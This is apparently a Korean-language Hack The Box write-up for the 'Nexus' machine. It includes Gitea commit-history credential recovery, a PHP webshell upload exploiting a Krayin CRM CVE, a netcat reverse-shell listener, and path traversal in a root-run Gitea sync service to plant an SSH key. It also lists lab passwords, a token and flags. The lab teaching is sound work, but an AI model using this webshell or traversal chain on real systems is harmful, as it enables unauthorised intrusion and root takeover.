
Hack The Box Nexus 머신 라이트업: 정찰, Gitea 자격 증명 발견, CVE-2026-38526을 통한 Krayin CRM 악용, 초기 접근, 그리고 취약한 Gitea 템플릿 동기화 서비스를 통한 권한 상승을 다룹니다.
English 🇺🇸 | Español 🇪🇸
Nexus는 Hack The Box의 난이도 쉬움(Easy) Linux 머신으로, 가상 호스트 열거, 노출된 자격 증명, 취약한 웹 애플리케이션 기능, 원격 코드 실행, 자격 증명 재사용, 로컬 권한 상승을 포함하는 다단계 공격 체인을 보여줍니다.
정찰
│
▼
가상 호스트 열거
│
├── git.nexus.htb
└── billing.nexus.htb
│
▼
Gitea 커밋 기록
│
▼
노출된 자격 증명
│
▼
Krayin CRM 로그인
│
▼
CVE-2026-38526
│
▼
PHP 웹쉘
│
▼
리버스 셸
(www-data)
│
▼
애플리케이션 .env
│
▼
jones로 SSH
│
▼
gitea-template-sync
│
▼
경로 탐색
│
▼
악성 Git 저장소
│
▼
root로 SSH
root로 권한 상승대상 IP: 10.129.82.92
nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
git.nexus.htb → Gitea
billing.nexus.htb → Krayin CRM
발견된 호스트를 /etc/hosts에 추가:
echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
다음으로 이동:
http://git.nexus.htb
다음 이름의 저장소:
admin/krayin-docker-setup
Git 기록에 유용한 정보가 포함되어 있습니다.
.env 파일은 이전 커밋에서 복구할 수 있으며, 현재 버전에는 더 이상 존재하지 않는 자격 증명이 드러납니다.
| 서비스 | 사용자 이름 | 비밀번호 |
|---|---|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
이메일 주소 [email protected]는 메인 웹사이트의 채용 섹션에서도 확인되었습니다.
URL: http://billing.nexus.htb/admin/login
Email: [email protected]
Password: N27xh!!2ucY04
다음으로 이동:
/admin/mail/sent
그런 다음:
페이로드는 다음 위치에 저장됩니다:
exploits/CVE-2026-38526/shell.php
페이로드:
<?php system($_GET["cmd"]); ?>
관련 multipart 필드는 다음과 같습니다:
Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php
성공적인 업로드 후:
http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id
예상 결과:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
리스너 시작:
nc -lvnp 4444
그런 다음 업로드된 웹쉘을 통해 리버스 셸을 트리거합니다.
Python 구현은 다음 위치에서 확인할 수 있습니다:
exploits/CVE-2026-38526/reverse_shell.py
이 단계에서 셸은 다음 권한으로 획득됩니다:
www-data
Krayin 구성을 확인합니다:
cat /var/www/krayin/.env
자격 증명이 발견됩니다:
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
cat /etc/passwd | grep sh$
jones 계정이 확인됩니다.
비밀번호:
y27xb3ha!!74GbR
f20cbf9aeb6bb228d356a42ff49c1933
systemctl list-units | grep -i gitea
다음 서비스와 타이머가 확인됩니다:
gitea-template-sync.timer
gitea-template-sync.service
이 서비스는 상승된 권한으로 실행됩니다.
/etc/gitea/template-sync.py
동기화 메커니즘은 경로 탐색을 통해 악용될 수 있는 경로 구성을 사용합니다.
SSH 키 쌍 생성:
ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub
Git 객체 조작 익스플로잇은 다음 위치에 있습니다:
exploits/gitea_template_sync/exploit_git.py
저장소 생성:
cd /tmp
rm -rf exploit
mkdir exploit
cd exploit
git init
python3 exploit_git.py
저장소는 다음 브랜치를 사용해야 합니다:
main
다음을 통해 개인 액세스 토큰을 생성합니다:
http://git.nexus.htb
다음으로 이동:
Settings → Applications
그런 다음 원격 저장소를 구성합니다:
git remote set-url origin http://jones:[email protected]/jones/exploit.git
악성 저장소를 푸시합니다:
git push -f origin main
동기화 로그 모니터링:
tail -f /var/log/template-sync.log
성공적인 동기화는 악성 Git 트리가 권한 있는 서비스에 의해 처리됨을 의미합니다.
예시:
[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30] synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete
SSH 공개 키가 root 계정에 기록된 후:
ssh -i /tmp/nexus_root [email protected]
액세스 확인:
whoami
예상 결과:
root
root 플래그 검색:
cat /root/root.txt
85be1d2a3084e387da0e7dd118908c63
| 플래그 | 값 |
|---|---|
| User | f20cbf9aeb6bb228d356a42ff49c1933 |
| Root | 85be1d2a3084e387da0e7dd118908c63 |
이 자격 증명은 이 저장소에 문서화된 Hack The Box 실습 환경에 속합니다.
htb-labs-nexus/
├── README.md
├── exploits/
│ ├── CVE-2026-38526/
│ │ ├── shell.php
│ │ ├── reverse_shell.py
│ │ └── burp_request.txt
│ └── gitea_template_sync/
│ ├── exploit_git.py
│ ├── create_repo.sh
│ └── key.pub
├── scripts/
│ ├── linpeas.sh
│ ├── LinEnum.sh
│ └── enum_services.sh
├── assets/
│ ├── nmap_scan.txt
│ ├── gobuster_vhost.txt
│ └── credentials.txt
├── screenshots/
│ ├── gitea_repo.png
│ ├── crm_login.png
│ ├── webshell.png
│ └── root_flag.png
└── notes/
├── methodology.md
├── commands.md
└── credentials.md
이 저장소는 교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다.
여기에 문서화된 기법, 자격 증명, 익스플로잇 및 명령은 명시적 승인 없이 시스템에 사용해서는 안 됩니다.
root로 실행되는 서비스는 권한 상승 벡터가 될 수 있습니다.⭐ 이 write-up이 유용했다면 저장소에 스타를 남겨주시기 바랍니다.
| 서비스 | 사용자 이름 | 비밀번호 / 키 |
|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
| Gitea 토큰 | jones | 1dd7105bf7e57cad02c5a56af5d92703a7839364 |
| SSH | jones | y27xb3ha!!74GbR |
| SSH Root | root | /tmp/nexus_root |
| 도구 | 용도 |
|---|
| Nmap | 포트 및 서비스 열거 |
| Gobuster | 가상 호스트 열거 |
| Burp Suite | HTTP 요청 가로채기 및 수정 |
| Git | 저장소 분석 및 악성 저장소 구축 |
| Python 3 | 익스플로잇 스크립트 |
| Netcat | 리버스 셸 리스너 |
| LinEnum | Linux 열거 |
| LinPEAS | 권한 상승 열거 |
| SSH | 원격 액세스 |